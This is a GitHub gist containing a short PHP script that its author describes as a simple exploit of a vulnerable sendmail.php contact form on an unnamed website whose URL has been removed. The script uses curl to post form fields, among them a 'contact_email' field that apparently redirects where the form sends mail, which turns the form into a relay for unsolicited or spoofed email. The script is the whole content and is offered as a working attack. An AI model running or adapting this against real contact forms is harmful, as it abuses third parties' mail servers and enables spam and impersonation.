Created
September 24, 2013 06:17
-
-
Save MrSaints/6680985 to your computer and use it in GitHub Desktop.
Simple exploit to a sendmail.php vulnerability on a web site. The actual URL of the said vulnerability has been removed for security purposes along with any details that may link this gist to its victim.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
define('GIS_EMAIL_URL', 'sendmail.php'); | |
$ch = curl_init(GIS_EMAIL_URL); | |
$data = array( | |
'contact_email' => '[email protected]', | |
'name' => 'Whatever', | |
'email' => '[email protected]', | |
'subject' => 'Whatever', | |
'message' => 'Whatever' | |
); | |
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data, '', '&')); | |
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); | |
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); | |
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); | |
$content = curl_exec ($ch); | |
// Sent | |
echo ($content); | |
curl_close ($ch); | |
?> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment